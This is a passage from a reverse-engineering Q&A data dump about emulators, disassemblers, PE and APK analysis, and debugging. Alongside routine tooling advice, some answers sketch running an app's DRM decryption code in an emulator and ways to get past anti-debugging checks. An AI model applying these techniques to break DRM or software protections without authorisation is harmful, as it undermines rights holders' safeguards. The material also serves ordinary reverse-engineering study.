input port at &lt;code&gt;0x124&lt;/code&gt; is the &quot;&lt;em&gt;ready&lt;/em&gt;&quot; bit, when it's set to &lt;code&gt;1&lt;/code&gt;, there's one byte of serial input waiting at port &lt;code&gt;0x125&lt;/code&gt;. Reading port &lt;code&gt;0x125&lt;/code&gt; will reset the ready bit to &lt;code&gt;0&lt;/code&gt;, and it will stay in state &lt;code&gt;0&lt;/code&gt; until the next byte arrives on the serial line.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And if you want to emulate how a software reacts on some particular input on the serial interface, you'll have to build on that specification and make the emulator provide your input at these I/O ports.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But of course, you need information about the hardware first, so this isn't very useful to reverse engineering. It may be useful to the hardware designer though to find some bugs that are difficult to reproduce or monitor on actual hardware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a specific example, consider the &lt;a href=&quot;https://en.wikipedia.org/wiki/A20_line&quot; rel=&quot;nofollow noreferrer&quot;&gt;A20 gate&lt;/a&gt; on 16/32 bit PCs. Indeed, the same instructions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov ax,0ffffh&#xA;mov es,ax&#xA;mov ax,es:[01234h]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;May access different memory depending on some bits you wrote to the keyboard controller. You can't get this right in an emulator unless you emulate hardware as well.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;When is QEMU more useful?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Mostly for not RE-related tasks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to emulate an old MS DOS program, you'd need QEMU, just because those programs did so much hardware manipulation themselves as the OS lacked the APIs. (Of course, in this case &lt;a href=&quot;https://www.dosbox.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;DOSBox&lt;/a&gt; would probably be more suited than QEMU).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, if you want to make an emulator for a Gameboy, C64, or just any other kind of vintage hardware, you need to simulate the hardware as well, so you'd need these QEMU features.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;When is Unicorn more useful?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For RE tasks, you typically don't need hardware emulation, because you don't have access to hardware design documents anyway. So, an emulator that omits these parts of QEMU, and improves other parts, is probably more suited to RE than QEMU is. Especially the &quot;&lt;em&gt;does not need an environment&lt;/em&gt;&quot; part can make stuff easier. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a concrete example, take one of those &quot;&lt;em&gt;do my homework for me&lt;/em&gt;&quot; questions - &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/12534/translate-the-assembly-code-to-c-code&quot;&gt;this&lt;/a&gt;, and &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/12530/how-to-convert-assembly-to-c-code&quot;&gt;this&lt;/a&gt;. When you have an assumption what a function does, you may want to run it to check if some specific input produces the output you assume. With QEMU, you need to compile this to an ELF file, and set up an operating system to run your program; with Unicorn, it seems like you can run the snippet directly (of course you still have to assemble it, and need to initialize registers in a sensible way, but you don't need all the rest of the bloat).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, another example, you have a program that deals with DRM protected data, and includes some functions to decrypt the DRM. If that program runs on ARM Android or I/OS, and you want to have your PC do the decryption, you can try loading the program into memory and tell your emulator &quot;&lt;em&gt;start emulating at address &lt;code&gt;0x12345678&lt;/code&gt;&lt;/em&gt;&quot;. It seems to be much easier to do this if you don't have to provide all the environment, and dependencies, that QEMU requires.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="53" LastEditDate="2017-08-16T08:35:48.177" LastActivityDate="2017-08-16T08:35:48.177" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12542" PostTypeId="2" ParentId="10627" CreationDate="2016-04-27T14:54:44.260" Score="3" Body="&lt;p&gt;We collect useful links about using radare2 on our &lt;a href=&quot;https://forum.reverse4you.org/showthread.php?t=2107&quot; rel=&quot;nofollow&quot;&gt;forum&lt;/a&gt;  (jvoisin blog too :) )&lt;/p&gt;&#xA;" OwnerUserId="15927" LastEditorUserId="15927" LastEditDate="2016-04-27T16:40:52.470" LastActivityDate="2016-04-27T16:40:52.470" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12544" PostTypeId="1" CreationDate="2016-04-27T18:16:17.917" Score="-1" ViewCount="532" Body="&lt;p&gt;I am currently reverse engineering a small native library from an Android Phone. I have the .so file in x86, ARM and some others but I decided to take the x86 because it's probably the easiest to disassemble. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have manually disassembled it and slowly see what it's doing but then I ran into a problem. I tried different disassemblers and they sometimes give unconsistent results. There are sometimes very weird instructions that don't make any sense, especially with the LEA command. So I thought I can manually look up how the bytes for that instruction are encoded and get my own correct solution. Sadly I haven't found any description how native bytecode looks and is encoded. There are many large databases for the Opcodes but they just give a description and not how the bytecode for it is encoded. Maybe I have searched the wrong terms but I would be glad if you could link me something more detailed so I can verify the instructions by hand when they seem obscure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance, SkryptX&lt;/p&gt;&#xA;" OwnerUserId="15928" LastActivityDate="2016-04-27T19:03:57.303" Title="x86 Bytecode Reference" Tags="|disassembly|x86|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12545" PostTypeId="2" ParentId="12544" CreationDate="2016-04-27T19:03:57.303" Score="3" Body="&lt;p&gt;The tables at &lt;a href=&quot;http://www.sandpile.org/&quot; rel=&quot;nofollow&quot;&gt;sandpile.org&lt;/a&gt; are always handy for things like that but on the whole you're much better off using an existing disassembler, like the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download_freeware.shtml&quot; rel=&quot;nofollow&quot;&gt;free version of IDA&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working manually you can usually look up all the prefixes and the primary opcode, but then you've still got to decode additional bytes like the mod/rm byte and also apply all the modal information: decoding differences between the various operating modes of the x86 architecture, different meaning of modifiers like address and operand size overrides, and a gazillion other things. A good disassembler does all that boring work for you and makes several orders of magnitude fewer mistakes. That leaves you free to ponder the meaning of the disassembly...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last but not least, good disassemblers like IDA are scriptable so that you can have your computer do all kinds of things for you that the disassembler cannot do right out of the box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Free IDA can be scripted in IDA C script but not in Python (at least not without jumping through major hoops). So you could turn things around and load a disassembler library into Python, like the excellent &lt;a href=&quot;http://www.capstone-engine.org/&quot; rel=&quot;nofollow&quot;&gt;Capstone&lt;/a&gt;. Python also has craptons of utility libraries for processing binaries, so almost all of the work has already been done for you.&lt;/p&gt;&#xA;" OwnerUserId="10027" LastActivityDate="2016-04-27T19:03:57.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12546" PostTypeId="1" AcceptedAnswerId="12547" CreationDate="2016-04-27T19:04:16.600" Score="1" ViewCount="4447" Body="&lt;p&gt;While reverse engineering an executable, I came across specific strings of interest which where in the .rdata section: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6PABy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6PABy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How are these constant strings used by the underlying assembly code? Are offsets to the relevant strings dynamically calculated during run time (because of ASLR) and used?  &lt;/p&gt;&#xA;" OwnerUserId="12466" LastActivityDate="2016-04-27T19:55:33.850" Title="How is .rdata used within the executable" Tags="|ida|executable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12547" PostTypeId="2" ParentId="12546" CreationDate="2016-04-27T19:21:57.863" Score="5" Body="&lt;p&gt;The standard scheme for 32-bit x86 under Windows is that the compiler/linker inserts virtual addresses right into the code, which are calculated based on the preferred load address of the executable (usually 0x400000 for EXEn, and something like 0x10000000 for DLLs). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the executable can be loaded at its preferred address then everything can remain as is and the relocation tables do not get used; otherwise relocations are applied to all address values embedded in code and data (e.g. when there are address conflicts and under ASLR).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when you are analysing an executable with a disassembler like IDA then the binary will usually get loaded at its preferred address, so that you can jump directly to (or through) the offsets contained in tables, and you can also search for the raw address bytes to find references that IDA might have missed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA also allows specifying a different load address, so that you can match an ASLR-based rip without further ado. For hacking an ASLR-loaded image you'd need to do the rebasing (relocation) yourself, after finding the actual load address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, capable compilers like MS VC++ and Watcom allow all kinds of different addressing schemes to be used from high-level languages, like relative (based) offset addressing and so on. So the above is only a rough guideline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Table-based references pose an additional difficulty during analysis: IDA will usually be able to find a string's reference in the data (i.e. the table itself) but often it is not easy to find the code that references &lt;em&gt;the table&lt;/em&gt;. Most of the individual table entries seem to hang un-referenced in the air. Often you can use the regular structure of such tables to scry their beginning, and usually you can find that the first entry is referenced from somewhere in the code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The address embedded in a table entry need not be the first item in an entry, though, so that the reference to the base of the table may be slightly off compared to the embedded address you're looking at. With optimising compilers it can get even trickier - the address embedded in the code might refer to the first address after the table, or in the middle of some record, or even several miles outside of the table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case IDA should be able to help you once you have determined the extent of the table and declared it as an array (usually by formatting the first entry as a record and then setting the record count). Once you have done that, IDA knows that all references to addresses covered by the table actually belong to that table in some way or other, and usually you can already see a nice xref link for you to click. If not then you can call up the cross references manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: the setting under &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Options | General... [Cross-references] Cross-reference depth&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;influences IDA's ability to spot xrefs that go somewhere inside data items instead of pointing at their beginning. Sometimes I increase the value to 1000, when I'm working with big structures...&lt;/p&gt;&#xA;" OwnerUserId="10027" LastEditorUserId="10027" LastEditDate="2016-04-27T19:55:33.850" LastActivityDate="2016-04-27T19:55:33.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12548" PostTypeId="1" AcceptedAnswerId="12549" CreationDate="2016-04-27T21:12:44.653" Score="-1" ViewCount="502" Body="&lt;p&gt;I would like to dump the .text section on MS Windows .exe PE files in Ubuntu 14.04.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I install pedump, on my Ubuntu system using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install mono-utils&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I tried running&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pedump code /full/path/prefix.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got the message&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Cannot open image  /full/path/prefix.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I tried&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pedump --verify error /full/path/prefix.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error: Invalid PE header machine value.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With another file, I got the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pedump code /full/path/prefix2.exe&#xA;Cannot open image  /full/path/prefix2.exe&#xA;pedump --verify error /full/path/prefix2.exe&#xA;Error: Invalid section alignment 1000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would these problems be due to trying to read MS Windows files on a Ubuntu system?  Is there a better tool I could use to dump the .text section of MS Windows PE files on a Ubuntu system?&lt;/p&gt;&#xA;" OwnerUserId="15929" LastEditorUserId="15929" LastEditDate="2016-04-27T22:13:31.427" LastActivityDate="2016-04-27T22:13:31.427" Title="Error: Invalid PE header machine value with pedump" Tags="|linux|pe|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12549" PostTypeId="2" ParentId="12548" CreationDate="2016-04-27T21:58:01.477" Score="1" Body="&lt;p&gt;&lt;code&gt;pedump&lt;/code&gt; from Mono utils is a software that does &lt;em&gt;only&lt;/em&gt; work with .net assemblies. You can't use it to dump standard executables:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ pedump /software/Windows/PortableInstalled/NavPaneCustomizer/Windows\ 7\ Navigation\ Pane\ Customizer.exe |head&#xA;&#xA;COFF Header:&#xA;                    Machine: 0x014c&#xA;                   Sections: 0x0003&#xA;                 Time stamp: 0x4d63c52b&#xA;    Pointer to Symbol Table: 0x00000000&#xA;           Symbol Count: 0x00000000&#xA;       Optional Header Size: 0x00e0&#xA;        Characteristics: 0x0102&#xA;   ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ pedump /software/Windows/PortableInstalled/wxHexEditor/wxHexEditor.exe &#xA;Cannot open image /software/Windows/PortableInstalled/wxHexEditor/wxHexEditor.exe&#xA;$ ls -l /software/Windows/PortableInstalled/wxHexEditor/wxHexEditor.exe &#xA;-rw-r--r-- 1 gbl users 1565696 Mai  9  2013 /software/Windows/PortableInstalled/wxHexEditor/wxHexEditor.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(the ls output shows you it's not an access rights problem)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a different software at &lt;a href=&quot;https://github.com/zed-0xff/pedump&quot; rel=&quot;nofollow&quot;&gt;https://github.com/zed-0xff/pedump&lt;/a&gt; that's named &lt;code&gt;pedump&lt;/code&gt; as well, but these two have nothing to do with each other. You can proably use the online version at &lt;a href=&quot;http://pedump.me/&quot; rel=&quot;nofollow&quot;&gt;http://pedump.me/&lt;/a&gt; if this is a once-only project, and you don't want to go through the hassle of getting a ruby environment working on your system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use a local program, &lt;code&gt;objdump&lt;/code&gt; works fine even for Windows PE executables:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ objdump -d /software/Windows/PortableInstalled/wxHexEditor/wxHexEditor.exe &#xA;&#xA;/software/Windows/PortableInstalled/wxHexEditor/wxHexEditor.exe:     Dateiformat pei-i386&#xA;&#xA;&#xA;Disassembly of section UPX0:&#xA;&#xA;00401000 &amp;lt;UPX0&amp;gt;:&#xA;  401000:   10 1a                   adc    %bl,(%edx)&#xA;  401002:   71 53                   jno    0x401057&#xA;  401004:   80 67 17 4b             andb   $0x4b,0x17(%edi)&#xA;  401008:   00 3c 3b                add    %bh,(%ebx,%edi,1)&#xA;  40100b:   16                      push   %ss&#xA;  40100c:   00 00                   add    %al,(%eax)&#xA;  40100e:   ec                      in     (%dx),%al&#xA;  40100f:   47                      inc    %edi&#xA;  ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(wxHexEditor is probably a bad example, as it's UPX-packed, but i have very few windows programs available on my Linux box right now)&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2016-04-27T22:03:47.817" LastActivityDate="2016-04-27T22:03:47.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12550" PostTypeId="1" AcceptedAnswerId="12554" CreationDate="2016-04-28T09:47:21.417" Score="-1" ViewCount="84" Body="&lt;p&gt;Is there any windows API (application program interface) to execute thread on atomic mode?&lt;/p&gt;&#xA;" OwnerUserId="12454" LastActivityDate="2016-04-28T19:10:18.263" Title="Is there any windows API to execute thread on atomic mode?" Tags="|c++|c|driver|" AnswerCount="1" CommentCount="3" ClosedDate="2016-04-28T19:31:21.440" ContentLicense="CC BY-SA 3.0" />
  <row Id="12552" PostTypeId="1" AcceptedAnswerId="12555" CreationDate="2016-04-28T18:18:55.500" Score="-1" ViewCount="1720" Body="&lt;p&gt;I am hoping to get the contents of the .text section, of a Microsoft PE file using a linux command.  When I use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objdump -sj .text filename.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the output consists of the offset, in hexadecimal format, on the far left, followed by the content, in hexadecimal format, in the middle and a mixture of dots and ASCII characters on the right.  I don't know if the dots represent unprintable characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to adjust the format of the output?  Ideally, I am hoping to get the printable strings without the hexadecimal numbers.  I have looked through the objdump man page but could not see a way to do this.&lt;/p&gt;&#xA;" OwnerUserId="15929" LastActivityDate="2016-04-28T23:04:13.907" Title="Formatting output of objdump -sj .text filename.exe" Tags="|linux|pe|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12553" PostTypeId="2" ParentId="12552" CreationDate="2016-04-28T18:55:57.987" Score="1" Body="&lt;p&gt;If you want just printable strings from the binary, a better tool is the &lt;a href=&quot;http://linux.die.net/man/1/strings&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;strings&lt;/code&gt;&lt;/a&gt; command. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-04-28T18:55:57.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12554" PostTypeId="2" ParentId="12550" CreationDate="2016-04-28T19:10:18.263" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms684122(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;Interlocked API&lt;/a&gt; may be what you are looking for. Or more generally, &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms681924(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;here is the MSDN topic on synchronization&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15634" LastActivityDate="2016-04-28T19:10:18.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12555" PostTypeId="2" ParentId="12552" CreationDate="2016-04-28T23:04:13.907" Score="1" Body="&lt;p&gt;Igor's answer is correct, but a bit short.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, get the size and file offset of the .text segment using objdump -h:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ objdump -h /path/to/Windows/System32/calc.exe&#xA;....&#xA;Idx Name          Size      VMA               LMA               File off  Algn&#xA;  0 .text         00060cc9  0000000100001000  0000000100001000  00000600  2**4&#xA;                  CONTENTS, ALLOC, LOAD, READONLY, CODE&#xA;  1 .rdata        00010ec4  0000000100062000  0000000100062000  00061400  2**4&#xA;                  CONTENTS, ALLOC, LOAD, READONLY, DATA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you know the text section starts at &lt;code&gt;0x600&lt;/code&gt; and ends at &lt;code&gt;0x61400&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, use &lt;code&gt;strings&lt;/code&gt; and have it print the file offsets:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ strings -a -t x -e l  /path/to/Windows/System32/calc.exe&#xA;  620e0 Edit&#xA;  62128 Button&#xA;  62138 SysDateTimePick32&#xA;  62160 ComboBox&#xA;  ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this particular file, as you see, there are no strings in the text segment; the first string (Edit) is already in the .rdata section. With most versions of &lt;code&gt;strings&lt;/code&gt;, you don't need the &lt;code&gt;-a&lt;/code&gt;, and you can select the character encoding with &lt;code&gt;-e&lt;/code&gt;, 16 bit little endian in this case. See the manual page for other encodings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use some of the Linux text utilities to further postprocess the output, but as @JasonGeffner said, superuser.com is a better place to ask about them.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-04-28T23:04:13.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12556" PostTypeId="1" AcceptedAnswerId="12557" CreationDate="2016-04-29T10:05:39.283" Score="0" ViewCount="253" Body="&lt;p&gt;I know you can unpack APKs with apktool and the likes, however we're doing an exercise at uni where we're supposed to get some info like permissions declared and permissions used from some APKs without using tools. Not really sure where to start. I'm guessing I'll need to unzip and apply some public-private signing. &lt;/p&gt;&#xA;" OwnerUserId="15940" LastActivityDate="2016-04-29T11:39:36.337" Title="Analyzing an APK without tools" Tags="|android|apk|" AnswerCount="1" CommentCount="1" ClosedDate="2016-05-02T11:02:01.040" ContentLicense="CC BY-SA 3.0" />
  <row Id="12557" PostTypeId="2" ParentId="12556" CreationDate="2016-04-29T11:16:59.093" Score="1" Body="&lt;p&gt;Amazing exercise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the steps you can do broadly:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Unzip the &lt;code&gt;apk&lt;/code&gt; file (APK files are compressed &lt;code&gt;zip&lt;/code&gt; files)&lt;/li&gt;&#xA;&lt;li&gt;All the &lt;code&gt;xml&lt;/code&gt; files including the &lt;code&gt;AndroidManifest.xml&lt;/code&gt; are encoded in a binary format, also better known as &lt;code&gt;AXML&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Parse the &lt;code&gt;AXML&lt;/code&gt; files by writing your own scripts. See examples &lt;a href=&quot;https://github.com/lunny/axmlParser&quot; rel=&quot;nofollow&quot;&gt;AXML Parser in GO&lt;/a&gt; and &lt;a href=&quot;https://github.com/secmobi/android-utils/blob/master/axml/AxmlParser.c&quot; rel=&quot;nofollow&quot;&gt;AXML Parser in C&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;you would find &lt;code&gt;classes.dex&lt;/code&gt; file which is a &lt;code&gt;DEX&lt;/code&gt; file or better known as Dalvik Executable&lt;/li&gt;&#xA;&lt;li&gt;The &lt;a href=&quot;http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html&quot; rel=&quot;nofollow&quot;&gt;Dalvik opcode&lt;/a&gt; might come handy, if you can read the hex-version of the dexfile and write your own script&lt;/li&gt;&#xA;&lt;li&gt;If you have installed android sdk properly, there is a tool &lt;code&gt;dexdump&lt;/code&gt; which comes by default in it&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In order to use the tool the following command can help&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ dexdump -d classes.dex&#xA;000418: 2b02 0c00 0000               |0000: packed-switch v2,0000000c // +0x0c&#xA;00041e: 12f0                         |0003: const/4 v0, #int -1 // #ff&#xA;000420: 0f00                         |0004: return v0&#xA;000422: 1220                         |0005: const/4 v0, #int 2 // #2&#xA;000424: 28fe                         |0006: goto 0004 // -0002&#xA;000426: 1250                         |0007: const/4 v0, #int 5 // #5&#xA;000428: 28fc                         |0008: goto 0004 // -0004&#xA;00042a: 1260                         |0009: const/4 v0, #int 6 // #6&#xA;00042c: 28fa                         |000a: goto 0004 // -0006&#xA;00042e: 0000                         |000b: nop // spacer&#xA;000430: 0001 0300 faff ffff 0500 ... |000c: packed-switch-data (10 units)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="15941" LastEditorUserId="53" LastEditDate="2016-04-29T11:39:36.337" LastActivityDate="2016-04-29T11:39:36.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12558" PostTypeId="1" AcceptedAnswerId="12559" CreationDate="2016-04-29T13:12:58.173" Score="1" ViewCount="1553" Body="&lt;p&gt;I wanted to debug an executable but I always receive one of the errors 'last or first chance' exception. The 'last error' label shows me this error : &lt;code&gt;00000008 (ERROR_NOT_ENOUGH_MEMORY)&lt;/code&gt;. When I run the executable without any debugger I always have enough memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ollydbg breaks before I can even debug.&#xA;x64dbg breaks while debugging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With ollydbg I have used the 32bit executable of the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The OPc looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00007FF6A179B097 | int3                                    |&#xA;00007FF6A179B098 | sub rsp,48                              |&#xA;00007FF6A179B09C | lea rcx,qword ptr ss:[rsp+20]           |&#xA;00007FF6A179B0A1 | call &amp;lt;executable&amp;gt;.7FF6A0C58980          |&#xA;00007FF6A179B0A6 | lea rdx,qword ptr ds:[7FF6A230CE80]     |&#xA;00007FF6A179B0AD | lea rcx,qword ptr ss:[rsp+20]           |&#xA;00007FF6A179B0B2 | call &amp;lt;executable&amp;gt;.7FF6A17CC4EC          |&#xA;00007FF6A179B0B7 | int3                                    | &amp;lt;-&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I guess this isn't any help. We just know that the last call produces this error ?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I have 12 gb of ram.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="12538" LastActivityDate="2016-04-29T14:13:59.173" Title="x64dbg and ollydbg error not enough memory" Tags="|ollydbg|debugging|memory|exception|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12559" PostTypeId="2" ParentId="12558" CreationDate="2016-04-29T14:13:59.173" Score="2" Body="&lt;p&gt;Based on the comments exchanged above, it sounds like the program uses anti-debugger code. You have a few options to deal with it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Find and disable (NOP / jump-over / etc.) the anti-debugging code.&lt;/li&gt;&#xA;&lt;li&gt;Try to hide your debugger (manually or by using a stealthing plugin).&lt;/li&gt;&#xA;&lt;li&gt;Run your program without a debugger, and then after it's up and running, attach to it with your debugger.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Option #1 requires the most effort, but is guaranteed to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Option #2 can save time over Option #1, but can involve a lot of trial-and-error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Option #3 is the easiest option, IMHO, as long as you don't need to debug your target from its entry point. It assumes that the anti-debugging code only executes at the very beginning of the program, which is typically a safe assumption.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-04-29T14:13:59.173" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12560" PostTypeId="1" CreationDate="2016-04-29T14:49:09.910" Score="5" ViewCount="6777" Body="&lt;p&gt;I'm trying to get the router firmware (binary) running on QEMU (if that is possible). All networking is set up fine because I've tested it using the debian_wheezy_mips_standard.qcow2 &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda MYROUTERBINARY.bin &#xA;-append &quot;root=/dev/sda1 console=ttyS0&quot;-nographic&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when I run this QEMU goes into a blank screen. I thought that it might not have a user interface due to it being a router but I can't get any response when running a nmap against the IP address space it should be in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I import the filesystem using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda&#xA;debian_wheezy_mips_standard.qcow2 -append &quot;root=/dev/sda1 console=ttyS0&quot; -nographic&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let's say for instance I have netcat running on the router. I want to be able to access the port, so need the router firmware/filesystem needs to be running&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help please?&lt;/p&gt;&#xA;" OwnerUserId="15945" LastActivityDate="2017-03-25T22:12:13.570" Title="QEMU &amp; router firmware" Tags="|linux|firmware|qemu|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12568" PostTypeId="1" AcceptedAnswerId="12570" CreationDate="2016-05-01T07:29:20.067" Score="0" ViewCount="846" Body="&lt;p&gt;I have a disassembled C binary that I would like to reverse engineer. It is a program that takes an input &quot;username&quot; string, and returns a (most-likely) unique 8-digit hex number for identification purposes. It would be really helpful for my understanding if someone could explain what some good general approaches to reverse engineering assembly manually would be or any insights into the functions themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used objdump -d to disassemble it. (this is it trimmed). Unfortunately, all I could learn from it by stepping through it with gdb was that the hash seems to be iterated (though I'm hoping it won't be a one-way function).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;08048414 &amp;lt;main&amp;gt;:&#xA; 8048414:   55                      push   %ebp&#xA; 8048415:   89 e5                   mov    %esp,%ebp&#xA; 8048417:   83 e4 f0                and    $0xfffffff0,%esp&#xA; 804841a:   57                      push   